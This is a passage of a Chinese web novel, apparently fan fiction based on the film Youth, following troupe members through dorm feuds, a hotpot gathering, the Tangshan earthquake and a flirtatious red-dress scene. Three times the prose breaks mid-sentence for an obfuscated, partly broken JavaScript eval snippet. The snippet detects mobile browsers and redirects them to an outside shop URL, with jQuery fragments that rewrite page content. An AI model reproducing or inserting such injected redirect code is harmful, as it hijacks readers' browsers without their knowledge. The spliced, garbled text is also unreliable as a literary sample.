倒是闫展博凑过来,上下打量着靶纸,夸张地吸了口气:“妈呀,这是什么?这就叫Private education啊。”
兆悦一听就懂,闫展博明着是夸她,实则在调笑陈灿假公济私、手把手贴身教学。
陈灿英语也就懂点皮毛,哪里听得懂这个短语,当场就懵了,一头雾水地看着两人打闹。
兆悦笑着瞪了闫展博一眼:“不许乱说。”
闫展博举双手作投降状,一脸坏笑地溜了。
陈灿越看越酸,压低声音凑到兆悦耳边问:“他刚说的什么意思?”
兆悦憋不住笑,悄悄贴在他耳边轻声说:“他是笑你假公济私,当我私人教练,占我便宜呢。”
陈灿瞬间僵了一下,脸颊和耳根齐刷刷发烫,被人戳中心思的尴尬混着几分羞涩涌上来,想故作镇定,却连眼神都飘了飘,又窘又不好意思。
但陈灿脸皮本就不薄,哪会被闫展博两句话就挤兑走。
他依旧老神在在,表面装模作样教打靶,暗地里该亲近亲近,半点不耽误。
这样轻松开心的日子,过得格外快,拉练很快结束,一行人收拾东西返程。
离开时还没下雪,只有满地落叶,一路枯黄。
等回到文工团,天空才飘起了雪花。
大家回去后都忙着洗澡、收拾东西,休整了一天。
兆悦累得够呛,整个人都快灵魂出窍,洗完澡就直接瘫在床上。
她也隐隐察觉到,自从拉练回来,宿舍里的气氛就变得很微妙。
再也没有以前那种融洽自然的感觉,倒也算不上剑拔弩张,就是气氛怪怪的。
尤其是郝淑雯和萧穗子之间,明显淡了不少,话少了,距离也远了。
但兆悦向来不爱凑热闹,也不嚼舌根,自然不会主动去问她们之间怎么冷淡了。
郝淑雯和萧穗子自那次小冲突后,表面上和好了,心里却都隔了一层。
萧穗子不是会在背后说人坏话的性格,何况郝淑雯背景强硬,她就算委屈,也只敢往心里咽。
可郝淑雯不一样,她早不知跟林丁丁吐槽过多少回萧穗子了。
从前关系好时,那些小毛病她都不当回事,如今有了裂痕,怎么看怎么不顺眼,一点小事都能放大成不满。
林丁丁人聪明,听归听,却从不表态,只含糊应付,不掺和、不评价。
郝淑雯吐槽完还不罢休,又找上了兆悦。
自从天冷下来,兆悦就一直待在乐队弹钢琴。
她跟分队长提过,这段时间不想再回舞蹈队,更愿意做主持和演奏。
分队长也知道她娇气,这性子一直都这样,加上她懂事、技术又好,平时没大型活动,小演出不上也就不上了,由着她去。
兆悦天天泡在乐队,反倒给了郝淑雯不少接近说话的机会。
这天舞蹈队练得紧,提前几分钟去了食堂,乐队又多合了一遍乐,才下了训练。
去食堂的路上,郝淑雯故意放慢脚步,凑到兆悦身边,压低声音开了口。
“你最近没觉得吗?萧穗子现在越来越奇怪了。”
兆悦淡淡听着,没立刻接话。
郝淑雯自顾自往下说:“上次在炊事班,莫名其妙就冲我发火,我到现在都没想明白哪儿得罪她了。
以前觉得她挺好相处的,现在才发现,脾气大得很,一点小事就往心里去,跟她说话都得小心翼翼的,累得慌。”
她一边走,一边斜眼瞥了瞥远处,声音压得更低:“你可别跟别人说啊,我就是跟你念叨念叨。总觉得她现在心思重得很,跟以前完全不一样了。”
其实兆悦心里也觉得奇怪。
在她知道的电影结尾里,郝淑雯和萧穗子明明一直是要好的朋友。
就算后来各奔东西,一九九一年萧穗子的新书发布会,也依旧请了郝淑雯,郝淑雯带着儿子到场,两人多年后还保持着联系,关系从没有真正断过。
可现在这情形,偏偏和她印象里完全不一样。
不过她也没往心里去,只当是年轻女孩天天朝夕相处,哪有不闹点小矛盾、闹点小别扭的,过阵子自然就淡了。
只是兆悦心底深处,从来就不认同郝淑雯。
她是看过电影全貌的人,心里跟明镜似的——郝淑雯在欺负何小萍这件事上,从来不是旁观者,而是带头起哄、推波助澜的那一个,仗着自己干部家庭的身份,底气足,下手也最不留情。
萧穗子当年是明哲保身、冷眼旁观,那是时代与处境下的人之常情;可郝淑雯不一样,她是主动参与,甚至乐在其中。
更让兆悦无法释怀的是,她明明清清楚楚知道萧穗子喜欢陈灿,知道萧穗子把自己最珍贵的金项链都拿出来,给陈灿做牙床底座,一片真心掏得干干净净,最后却还是和陈灿走到了一起。
等到一九九一年再聚首,萧穗子轻声问一句“陈灿还吹小号吗”,郝淑雯偏偏要拿那条金项链来戳她的痛处,字字句句都往人心最软的地方扎。
这些事,兆悦都记在心里,只是从不说破。
郝淑雯在一旁抱怨不停,她也只是安静听着,偶尔轻轻点一下头,表示自己听见了,半句评价、半句应和都没有,脸上始终没什么多余的表情。
但郝淑雯压根不在意兆悦的冷淡。
她了解兆悦的性子,向来对这些事不掺言、不接话。
对她而言,找兆悦念叨的目的已经达到——只要把萧穗子“奇怪”的印象种下去,把自己的不满传递出去就够了。
从兆悦身边离开,郝淑雯转头又扎进了乐队的女成员堆里。
趁着大家排队打饭的间隙,她又把炊事班的事添油加醋说了一遍,话里话外都在强调萧穗子的“莫名其妙”,把自己塑造成了受委屈的一方。
萧穗子怎会不知道背后的这些议论,她只是一味忍耐罢了。
这个冬天的文工团,处处都透着压抑与暗流汹涌,可这份紧绷,半点都没波及到兆悦。
她们在明争暗斗,兆悦这儿,却是热气腾腾的火锅局。
寒冬腊月,怎么能少得了一顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309155|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暖乎乎的火锅。
兆悦去找了刘峰,刘峰当即就应了下来。他是干事,住着单人宿舍,私下里藏着个电炉子,之前还偷偷用它给林丁丁煮过挂面。
兆悦便借着刘峰的宿舍,张罗起了小火锅。
喊上的人都是亲近的——杭春明、陈灿、何小萍,再加上宿舍与电炉子的主人刘峰,一共五人。
杨铮对火锅没兴趣,又吃不得辣,沈一娣依旧只钟情饺子,便没有来。
当年在军区大院,兆悦十三四岁的时候,就总拉着杭春明、刘予一起吃火锅,杭春明对这一套熟得不能再熟,调锅底、洗菜、煮菜样样拿手,本就是最爱这一口的人。
一顿操作行云流水,直接把一旁的何小萍看呆了,小姑娘忍不住连连夸赞,听得杭春明都有些不好意思,耳尖微微泛红。
小小的宿舍里,火锅咕嘟咕嘟冒着热气,香气裹着暖意,把窗外的寒风与团里的糟心事,全都隔得远远的。
倒是最让刘峰惊讶的,是陈灿居然也出现在了这场火锅局里。
兆悦和陈灿的关系一直藏得隐秘,再加上刘峰满心满眼都扑在林丁丁身上,平日里根本没留意过两人的端倪。
这一见,他心里难免犯嘀咕,不明白陈灿怎么会来。
好在杭春明和陈灿你一言我一语,聊得自然又熟络,刘峰这才打消了疑虑,只当是杭春明把同宿舍关系要好的陈灿一并带了过来,想来也合情合理。
几个人都凑出了一点津贴,由刘峰托关系,不知从哪儿弄来了牛肉、鸡肉,还有新鲜蔬菜和鸡蛋。
牛肉一下锅,没一会儿就咕嘟咕嘟煮开了,香气瞬间漫满小屋。
陈灿自然而然地拿起筷子,给兆悦夹了几样菜,动作熟稔得不像话。
刘峰刚夹起一片藕片送进嘴里,抬眼撞见这一幕,动作猛地一顿,愣了一下。
兆悦瞬间反应过来,桌底下悄悄踢了陈灿一脚。
陈灿立刻会意,连忙假模假样地拿起公筷,给杭春明、刘峰都夹了菜,连最边上的何小萍也没落下。
何小萍一脸莫名,心里默默嘀咕这人怎么突然这么热情,可转念一想,又好像明白了点什么。
杭春明早就把一切看在眼里,坐在一旁憋着笑,肩膀都轻轻抖着,陈灿无奈的给杭春明夹菜的时候,杭春明还阴阳怪气的说谢谢。
刘峰见此就没多想了,只当陈灿是热心,顺手给每个人都夹了菜,便低下头继续吃火锅了。
火锅饱餐一顿,兆悦和何小萍挽着胳膊往宿舍走。
刚到楼下,就看见郝淑雯靠在二楼楼道的栏杆上,正跟卓玛说着什么,卓玛听得一脸同仇敌忾。
兆悦压低声音问何小萍:“郝淑雯有没有跟你说过什么?”
何小萍轻轻点头:“前两天吃饭你没在,她就跟我提萧穗子的事了。”
兆悦“嗯”了一声,心里有数:“估计现在还在说这事。”
何小萍撇了撇嘴,明显看不上郝淑雯背后嚼舌根的样子。
兆悦轻轻拍了拍她的胳膊:“咱们别管,装没听见就行。”
两人刚上楼,栏杆边的两人还没聊完。
郝淑雯一见她们回来,立刻开口问:“你们俩去哪儿了,这么晚才回?”
74. 余震
夜晚格外宁静,四个人在楼道上面面相觑。
还是兆悦先开了口,语气自然地说,两人晚上吃多了,出去散了散步。
何小萍立刻默契地接话附和,没有露出半点破绽。
郝淑雯听了便点了点头,没再多问。
兆悦和何小萍转身往前走,快到宿舍门口时,身后依旧飘来郝淑雯的声音,话语里反复夹着“某人”“她”“莫名其妙”这类字眼,不用想也知道,还在背后议论着萧穗子。
1975年的冬天,过得格外清冷。
那次火锅局之后,文工团的节奏陡然被打乱。刘峰因工作表现突出,获得了去北京领奖的荣誉,宿舍里的电炉子自然也随之收了起来,火锅局便再没能组起来。
转眼到了过年,文工团上下忙得不可开交,筹备演出、走台排练,一刻也停不下来。
火锅的热气和欢声笑语,仿佛都被隔在了年味之外。
一直等到年后一个多月,各项任务暂告一段落,团里的日子才渐渐清闲下来。
春意悄然回暖,文工团里也悄然传开了杭春明和何小萍越走越近的消息。
兆悦得知后,特意找了个机会跑去警告杭春明,神色严肃地叮嘱他千万不要欺负何小萍。
可等真的聊起来,她才惊讶地发现,平日里古灵精怪、没个正形的杭春明,竟偏偏被何小萍治得服服帖帖。
起初,何小萍心里是装着刘峰的。
毕竟刘峰心地善良,是领她从北京过来的领路人,那份感激与依赖在她心里扎了根。
但兆悦将自己知晓的秘密全盘托出——刘峰对林丁丁那份深藏不露的情愫,何小萍才瞬间清醒,悄悄收回了那份心思。
没想到,正是因为兆悦这一番话,何小萍和杭春明反倒有了接触的契机。
何小萍一直是个安静木讷的女孩,习惯了沉默寡言,遇到像杭春明这样如小太阳般鲜活的活宝,才第一次感受到轻松与开朗的情绪。
杭春明也渐渐留意到这个从前总是唯唯诺诺的女孩,发现了她骨子里的刻苦与善良。
两颗心在日复一日的相处中相互吸引,距离不知不觉就越靠越近。
兆悦很快就接受了杭春明和何小萍走得近这件事,偶尔还会打趣何小萍,只是顾及她脸皮薄,从不过分。
她和陈灿之间,倒像是慢慢趋于平淡了——至少兆悦自己是这么觉得的。
只是她不知道,这份平淡全是她一厢情愿。
偶尔一两次,晚上在排练厅后台没人的时候,陈灿还是那副黏黏糊糊的样子,半分没变。
如同电影旁白所说,1976年发生的全是大事。
1月8日,一位伟人离开了我们 。兆悦站在文工团的队列里,听着广播里低沉的哀乐,才恍恍惚惚地意识到——这里不是她熟悉的现代。
这是一个正在经历剧痛、正在翻覆的时代。
她心里清楚,这一年还会有更多大事发生。
唐山大地震,像一块巨石压在她心头。
她一直自诩是个利己的人,只想安稳度日:在文工团站稳脚跟,和陈灿好好相处,等□□结束,重新拿起笔写作,过安稳日子。
以她的实力,绝对是团里不可或缺的人,有要好的朋友,有殷实的家庭,有不错的对象,好像离自己的人生目标只差一步。
可她为什么总觉得心里空落落的?
难道重来一世,就只是在小小的文工团里打转,在爱情里打转,在陈灿身边打转吗?这两年,她几乎把所有精力都耗在了团里的人和事上。
可放眼望去,这是一个万物重新开始的时代,一个正需要年轻人为国家付出的时代。
自己的格局,难道就这么小吗?
这个平凡而宁静的夜晚,楼下或许是杭春明和何小萍在轻声说笑,郝淑雯或许还在找人拉帮结派,萧穗子或许还在灯下写着少女心事。
兆悦坐在床边,做出了一个决定。她没有跟任何人讲,但这个决定,已经深深扎根在心里。
1976年7月28日凌晨,唐山大地震爆发 。
7.8级的巨震,震倒了无数家庭,震碎了无数人心。
但这场浩劫,与远在西南的文工团本无直接关联。
没有任何上级指令,要求文工团的战士前往灾区支援。
可兆悦,却把提前一笔一划写好的请愿书,郑重递交了上去。
分队长彻底愣住了。
她知道这姑娘心善,有旁人没有的底色与大气,却万万没料到,第一个站出来请愿的,竟然是兆悦。
宁政委同样也是满心震惊,两人甚至早就做好了准备——若是向来热心的刘锋来请战,该怎么劝,怎么委婉把人留下。
谁能想到,最先递上请愿报告的,是娇养长大、从不吃苦的兆悦。
这场地震太过猛烈,太过猝不及防,整片天地都轰然倒塌,灾区急缺大量人手。
他们只能劝说,没有道理,更没有理由,去拦一颗执意要去的心。
当天夜里,兆悦就出发了。
跟着当地驰援的部队会合,一声不响地直接离开。
走之前,她没忘给身边每一个人都留下了一封信,字字郑重,像极了绝笔。
其实做这个决定时,她比谁都纠结。她太清楚唐山大地震伴随的余震有多恐怖,强烈、频繁、毫无预兆。
她是抱着侥幸去的,只赌自己足够谨慎、足够幸运,能平安回来。
她给沈一娣写了,给杨铮写了,给杭春明、何小萍写了,连平日里交集不算最深的萧穗子,也有一封。
当然,她给陈灿的那一封,最长、最重。
可那一天,所有人训练都忙得脚不沾地,谁也没有发现异常。
直到一天一夜之后,郝淑雯扯着嗓子到处找人,拉住杭春明、拽住何小萍,连声问兆悦去哪儿了,大家才猛然惊觉——兆悦已经整整一天一夜,没出现在任何人的视线里。
那天夜里,她甚至没有回寝室睡觉。
众人慌慌张张把事情汇报给分队长,分队长沉默许久,才缓缓说出了兆悦主动请缨、奔赴唐山灾区的决定。
刘峰只是默默拿出那一叠封好的信,按照名字,在训练结束后,单独分给了每一个被兆悦记挂着的人。
最先接受不了的,是陈灿,还有何小萍。但所有人,最后都选择了理解她。
兆悦就是这样一个人,平日里娇气,不够热情,偶尔还闹点小脾气,可她心底的底色,一直都这样。
陈灿拆开那封信时,手和心都在不住地抖。
紧接着,伟人逝世的噩耗传来,举国哀悼,文工团里再没有一个人有笑模样。
兆悦去了唐山之后,就像彻底消失了一样,没有回信,没有音讯,半点消息都没有。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309156|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈灿常常忽然心口发慌,忍不住眼眶发红,只能借着举国悲痛的由头掩饰。
没人知道,他心里念的想的,是那个一声不吭奔赴灾区的人。
灾后的救援,远比想象中更艰苦,也更危险。
最终宁政委还是没能拗得过刘锋。
有了兆悦主动请缨的先例,刘锋说什么也要前往灾区参与灾后救援,态度坚决得不容反驳。
临走之前,陈灿终于按捺不住,私下里向刘锋坦白了他和兆悦之间的感情,红着眼眶拜托他,如果在灾区遇到兆悦,一定要替自己传个话、报个平安。
直到此刻,刘锋才彻底恍然大悟,明白了两人之间深藏的情意。
之前兆悦被家里安排去一线时,陈灿就格外上心,刘锋只当是少年人热血重情,关心战友;如今兆悦远赴唐山,他这般焦灼牵挂,藏都藏不住,刘锋再迟钝,也懂了这份心意远不止战友那么简单。
和电影里的轨迹一样,刘锋在抗洪救灾的过程中不慎伤了腰,伤势严重,不得不从舞蹈队退到了舞美组。
而跟着他一同平安归来的,还有兆悦。
她比走之前瘦了一大圈,原本的长发也剪得极短,眉眼间多了几分从未有过的坚毅与沉静。
陈灿到死都记得,兆悦两人回来的那一天,天是什么光,风是什么味。
在看见兆悦的那一刻,他整个人都僵在原地,大脑一片空白,所有的担忧、思念、委屈,全都堵在了胸口,半个字也说不出来。
他没有半句埋怨。
兆悦回来的第三天晚上,两人如约在排练厅后台见面,陈灿什么都没问,什么都没怪,他根本没有资格去责怪这样一个勇敢又善良的女孩。
他只是上前一步,用尽全身力气,将兆悦紧紧地、紧紧地搂进怀里。
那种濒临失去、又失而复得的滋味,太过煎熬,也太过刻骨,让他连呼吸都带着颤抖。
他们回来一周后,刘峰拖着伤病,又开始了工作。
可兆悦却一直没有出现,直到休息时分队长无意间提起,众人才知道,兆悦在抗洪救灾时受了伤——脚踝被钢筋擦过,差点碰到跟腱,幸好救治及时,不影响跳舞。
分队长心疼不已,再也不让她跟着其他队员进行高强度训练,只让她偶尔准备一支独舞自行练习,大部分时间都安排在乐队帮忙。
陈灿得知此事,心口猛地一沉,这是他第一次生出想要离开文工团的念头。
他再也受不了两人的感情永远藏在暗处、见不得光,无数次想陪在她身边、想亲近、想安慰守护,却只能死死压抑,每一个瞬间都煎熬得让他想要逃离。
可兆悦的想法,与他截然不同。
日子缓缓向前,萧穗子终于等来了刘峰捎来的家信,家里告知她父亲已被平反,还寄来了一大箱礼物。
遗憾的是,何小萍的父亲没能等到平反便已病故,只留下一封遗书。
何小萍悲痛万分,好在有兆悦和杭春明在身边安慰陪伴。
杭春明也褪去了往日的浮躁耍宝,变得沉稳可靠,主动担任何小萍的舞蹈搭档,再也没有电影里朱克对她的嫌弃与排挤。
郝淑雯则买了一辆新自行车,每天骑着在文工团里来回穿梭,意气风发。
时代悄然更迭,□□结束,高考恢复。
朱克一心想考大学搏出路,不过没能考上,这都是后话了。
75. 港风
冬去春来,树上抽出第一枝嫩绿的新芽时,新的一年悄然而至——1977年。
这一年,日子过得格外平淡安稳,兆悦和陈灿的感情也依旧平稳温和。
偶尔,两人还是会悄悄躲到排练厅的后□□处,只是再也没有过争吵,一次都没有。
转眼到了1977年夏天,政委把刘峰叫进了办公室,郑重告诉他:首长体恤他腰伤严重,又年年都是标兵,三次立功,特意给他争取了一个机会——去军政大学进修一年,结业后直接提一级,任正连职。
可刘峰的心里满满都是林丁丁,他根本不想离开文工团,舍不得走,便找了借口,把这个千载难逢的机会让给了王友泉。
兆悦听说这件事后,特意过来劝刘峰,可刘峰心里,林丁丁的位置依旧重得无人能替。
他宁愿留在舞美组,日复一日做道具、钉景片,也不愿远赴进修。
另一边,朱克依旧不用心准备高考,整天游手好闲,阴阳怪气,嘴欠得厉害。
他总学着政委的语气,模仿政委夸奖刘峰的样子,言语间满是不屑与尖酸讽刺。
郝淑雯听得最是起劲,笑得最大声。
萧穗子只在一旁淡淡一笑,心里对郝淑雯的模样颇有几分意见,便默默转过了头。
转头间,她看见排练厅里,何小萍和杭春明走得很近,杭春明正低声细语地安慰着何小萍。
萧穗子心里清楚,何小萍的父亲没能像自己父亲一样得到平反,反而早早病故,这成了何小萍心底最深的痛。
想着想着,她又不由自主地想到了陈灿。
何小萍身边,至少还有杭春明不离不弃地陪着、护着,可陈灿的心里,又在牵挂着谁?又有谁,是他藏在心底的煎熬与牵挂呢?
这天晚上,萧穗子怀着满心的心事出板报。郝淑雯早已不再陪着她,只剩她一个人默默忙活。
她转头望向舞美组——那间由临时车厢改造成的仓库,刘峰正埋头在里面做沙发。
萧穗子走进去,顺手帮着搅了搅浆糊,轻声问刘峰在做沙发做什么。
刘峰说:“马超群要结婚了,他那个新媳妇非要添个沙发。”
萧穗子皱了皱眉:“那你帮他干这个干什么?”
刘峰还是那副老好人、活雷锋的性子,轻轻叹了口气:“唉,搭把手嘛,他也老大不小了,好不容易能结婚。”
话说着,刘峰忍不住试探着问萧穗子:“你们宿舍……周末一般都去哪儿?”
萧穗子心里一下就明白了,淡淡回:“我哪儿都不去。你要是问林丁丁,还是自己去问她吧。”
说完,转身就走了。
如今的萧穗子,已经很少再和郝淑雯说什么体己话,心里的事,更多是和宿舍里的兆悦说。
她把刚才和刘峰的对话一五一十讲给兆悦听,兆悦听完,心里猛地一沉,立刻想起了后来那件要命的“触摸事件”——刘峰抱了林丁丁,反被说成耍流氓,就此彻底栽了跟头,人生全被改写。
她暗暗打定主意,必须趁早提醒刘峰,哪怕是暗示,甚至直接点醒,也要把林丁丁到底是怎样一个人说清楚,绝不能让刘峰再这么糊涂下去,一步踏错,万劫不复。
各种各样的原因凑在了一起:刘峰为了能靠近林丁丁,特意把舞美组的地方借给她们用;林丁丁则是想打破宿舍里一直僵着的尴尬气氛——自从上次那件事之后,郝淑雯和萧穗子之间总飘着一层说不出的别扭,大多是郝淑雯心里不痛快,萧穗子默默忍着,关系也淡了下来。
这次林丁丁想主动破冰,把宿舍几个人都叫上了,兆悦也在其中。
郝淑雯也不是那种揪着一件事不放的人,看这么久过去,萧穗子没再像当时那样跟她呛声,就算自己偶尔刺她两句,对方也都忍了下来,她也就不再较劲。
还特意把她当护士长的妈妈从广州军区出差寄回来的港货带了过来——一条紧身喇叭牛仔裤、一件紧身白衬衫,借给萧穗子穿着玩,也算主动示好破冰。
林丁丁向来不把萧穗子的身段放在心上,她自有一套拿捏人的法子,这会儿也大方地笑着夸:“穗子啊,当了七年没屁股的兵,今天总算有屁股了。”
经了这一遭,郝淑雯和萧穗子算是表面冰释前嫌,只是心里还剩多少缝隙,谁也说不清。郝淑雯很大方,又掏出一副太阳镜给萧穗子戴上:
“再把这眼镜一戴,活脱脱一个港星!”
萧穗子对着镜子照来照去,还有些不好意思:“这要是穿到大街上去,得多难为情啊。”
直到兆悦换好衣服走出来,几个人的目光一下全都被牢牢吸住。
兆悦看她们玩得热闹,也拿出了一套自己的衣服。
这不是她妈妈苏琴寄来的——苏琴就算疯了,也绝不会寄这种样式。
这是刘予从外地给她寄来的,一套在1977年显得格外大胆出格、又极具风情的红色连衣裙。
领口是略低的V领,贴身剪裁紧紧勾勒出她优越的身材曲线,腰腹收得纤细利落,裙摆堪堪盖过大腿中部,侧边开叉,走动时线条若隐若现,在那个全员军装、保守朴素的年代里,显得惹眼又性感。
林丁丁的眼神立刻掠过一丝不易察觉的嫉妒,嘴角扯出一抹轻佻的笑,语气带着几分酸意,开口说道:“哟,兆悦,你这裙子也太敢穿了吧,曲线全露出来了,这要是让男兵们看见,魂都得被你勾走。”
郝淑雯反应最夸张,直接捂着嘴惊呼:“我的妈呀,兆悦,你这一出去,不得让那帮男兵眼珠子全都掉出来!”
萧穗子一看见兆悦,眼睛先亮了一圈,上前就拉住她胳膊,语气真切:“哎呀,这也太好看了吧,你这身材穿上真合适。”
其实萧穗子今天特意挑了这身衣服,特地约陈灿去舞美道具仓库玩,说是大家一起热闹,心里却是想让陈灿看看自己今天的模样。
陈灿本来是不想去的,因为他另有打算。
可一听说她们一整个寝室都去,立刻就想到兆悦肯定也在,这才松口答应。
他原本是打算自己带着单卡录音机,找机会跟兆悦两个人在排练厅后台单独听歌。
现在既然大家一起去仓库玩,他也就把录音机一并带上,索性跟着一起热闹,只要能见到兆悦就行。
屋里一阵急促的敲门声响起。兆悦刚才忙着换衣服,萧穗子说陈灿会来的事她半点没听见,自然没察觉门外的动静。
这敲门声一落,她心里猛地一紧。这年代,穿这样惹眼的衣服若是被旁人看见,实在难为情。
她下意识就要往旁边躲,想找个地方藏起来。
可她动作再快,也赶不上萧穗子的速度。萧穗子早已兴冲冲地跑过去一把拉开了门。
门打开的刹那,陈灿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309157|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光扫进来,明明最近的就是站在门边的萧穗子,他视线却没半分停留,第一时间就被屋里那抹红色的身影牢牢吸住。
可他的反应并没有多夸张,既没有瞪大眼,也没有露出格外惊艳的神色,只是嘴角轻轻一扬,笑了笑,还若无其事地舔了下嘴唇,随后才淡淡偏过头,对她们道:“我带了单卡录音机,一起听听。”
萧穗子心里悄悄松了口气,还泛起一点窃喜。
她今天精心打扮,本就是穿给陈灿看的。刚才见兆悦这身好看又惹眼,她真心夸过,可转眼就忍不住担心——陈灿会不会一眼就被兆悦吸引住?
可现在看陈灿这副平平淡淡的样子,好像没什么特别反应,她心里那点不安瞬间淡了下去,甚至暗自得意:看吧,兆悦再好看、再特别、穿得再亮眼,陈灿对她也没什么不一样。
陈灿没再多说,蹲下身把单卡录音机打开。
萧穗子立刻往陈灿身边挤,硬生生把本来要凑过来的郝淑雯挤到了一边。郝淑雯脸上的笑意一下就没了,心里憋着不痛快。
兆悦则靠在桌子另一头,下意识想遮住自己的大腿。被这个时代浸染久了,穿成这样暴露在陈灿面前,她还是忍不住尴尬。
几个人的位置很快定了下来:陈灿紧挨着兆悦,旁边是萧穗子,再往外才是郝淑雯。
萧穗子一脸好奇地看向旁边的磁带,念出上面三个字:“邓丽君?”
她抬眼望向陈灿,眼神里满是不解和疑惑,她们这会儿还不太清楚这是谁。
可兆悦心里一清二楚——在现代,邓丽君这个名字,几乎无人不晓。
陈灿只觉得气氛还不够,他心里藏着自己的小心思。
他忽然转过身,伸手把头顶的白炽灯关掉。几人都愣了一下,不知道他要做什么。
只见他扯过一块红布,轻轻罩在灯泡上。
一瞬间,整个昏暗的舞美仓库里,都浸在一层柔和又暧昧的红光里。邓丽君的《侬情万缕》缓缓流淌出来,氛围一下子就浓了。
就在其他人没注意的角落,陈灿忽然伸手,轻轻搂了一把兆悦的腰。
兆悦吓得猛地瞪了他一眼。
其实从他进门那一刻,她就看出来了——别人不知道,她却清楚得很,陈灿只要一莫名其妙舔嘴唇,就是一肚子坏水要冒出来。
其他人都听得陶醉,林丁丁忍不住轻声感叹:“天呐,还能这样唱歌……”
这时,陈灿忽然意有所指地开口:“我就听过有人这么唱歌。”
他说的,正是上一回兆悦悄悄哼《情非得已》那次。
兆悦瞬间听懂,在他身后偷偷掐了一把他的胳膊。
陈灿浑不在意,反而把手悄悄往兆悦的大腿边靠近。
兆悦又气又羞,狠狠掐了一把他的腰。
陈灿没忍住,低低痛呼了一声。
其他人立刻看过来:“你怎么了?”
陈灿只能硬着头皮打掩护:“哎哟,这歌听得我腿都软了。”
郝淑雯立刻抓住机会怼他:“你思想怎么这么肮脏呢?”
兆悦也立刻跟着附和:“对呀,怎么这么肮脏呢?”
她说的可不是他说得话,全是在说他刚刚那些小动作。
陈灿轻笑一声,又轻轻舔了舔嘴唇,然后抿着嘴唇,目光直直看向兆悦。
歌声,还在缓缓继续。
76. 红裙
旁边本来还放着另一盘磁带,可以换上去接着听。
可陈灿看了一眼,却忽然皱了皱眉,开口说道:“不行了,我得走了,杭春明找我有事。”
说着就开始收拾东西,想方设法把几个人都支开。
郝淑雯一听立马不乐意了,上前一步拦着他,语气强硬:“哎,等会儿!这录音机你不能就这么带走,借我们听两天再还你!”
陈灿心里急着支开众人,哪里还有心思跟她争,摆了摆手敷衍道:“行行行,拿去吧拿去吧。”
这会儿他哪里还有心思管什么录音机,给她便给她了。
萧穗子和兆悦把衣服换下来。
等郝淑雯、萧穗子和林丁丁三个人都走出了仓库,兆悦也正要迈步出门的时候,陈灿忽然伸手,轻轻捏了一下她的手,暗示意味十足。
兆悦心里跟明镜似的,偏不如他的意,就要跟着回去。
她哪里会不知道,杭春明现在每天就跟在何小萍屁股后面屁颠屁颠的,哪有时间找陈灿什么事。这都是借口,都是托词,还不是因为看到自己穿的这身衣服,色鬼,才不给他机会呢。
但是兆悦自己心里又有些动摇,自从何小萍和杭春明确认了关系,他俩胆子也是大,估计多半是学的兆悦和陈灿。
确认了关系之后,经常霸占排练厅后台,两个人呢,进度又非常缓慢,天天就坐着聊天,一聊就聊两个小时,导致兆悦和陈灿根本就没有时间一起。
兆悦想了想,还是决定回去了,就找了个借口说和小萍约好了,去排练厅给她看看舞蹈动作。
兆悦一回到舞美组的仓库,果然看见陈灿还没走,正安安静静等着她。
她忍不住好笑,抬眼看向他:“你就那么确定我会回来?我要是不来呢,就让你在这儿一直等?”
陈灿望着她:“我知道你会来的。”
兆悦傲娇地撇过头,抿着嘴不说话。
陈灿早就急得不行,直接开口:“你把那身衣服换回来,我看看呗。”
兆悦故意逗他:“刚刚都穿了一首歌的时间呢,你没看到啊?”
陈灿压低声音:“他们都在,我哪敢看呀。”兆悦才不信他的话。
陈灿往前靠近,伸手揽住她往仓库里面带。
兆悦抬手拍了拍他的胸膛:“你何止是敢呢,你太敢了。”
她说的正是刚才陈灿故意将手贴在她大腿一侧的举动。
陈灿的脸一下子臊得通红,说不出话来。
兆悦既然回来了,就是打算换衣服的。她开口:“那我去后面换一下,你不许偷看。”
陈灿连忙点头:“我肯定不敢偷看。”
兆悦伸出手指,轻轻点了点他的胸口,才转身往后面走去。
陈灿捂着被点过的地方,心脏怦怦直跳。
听着布帘被拉上,身后传来窸窸窣窣换衣服的声响,陈灿的心跳得越发厉害。
两分钟后,兆悦从帘后走了出来。
其实今天为了配这身衣服,她还略施粉黛。
此刻在仓库里幽暗又带着暖红的光线里一照,整个人都透着一层软乎乎的光晕。
陈灿只觉得脑子一空,整个人都快飘起来了。
刚才人多,他还能拼命克制,现在四下里就他们两个人,那点克制早就抛到九霄云外去了。
他几乎是不受控制地向前迈步,脚步很轻,却带着不容错辨的急切,一步步靠近兆悦。
泛红的光线将两人的影子拉得很长,叠在一起,再也分不出界限。
兆悦抬头看向他,眼底含着浅浅的笑意,还没来得及开口,就被他轻轻揽住了腰。
陈灿的手臂带着温热的力度,小心翼翼地将她往仓库深处带。
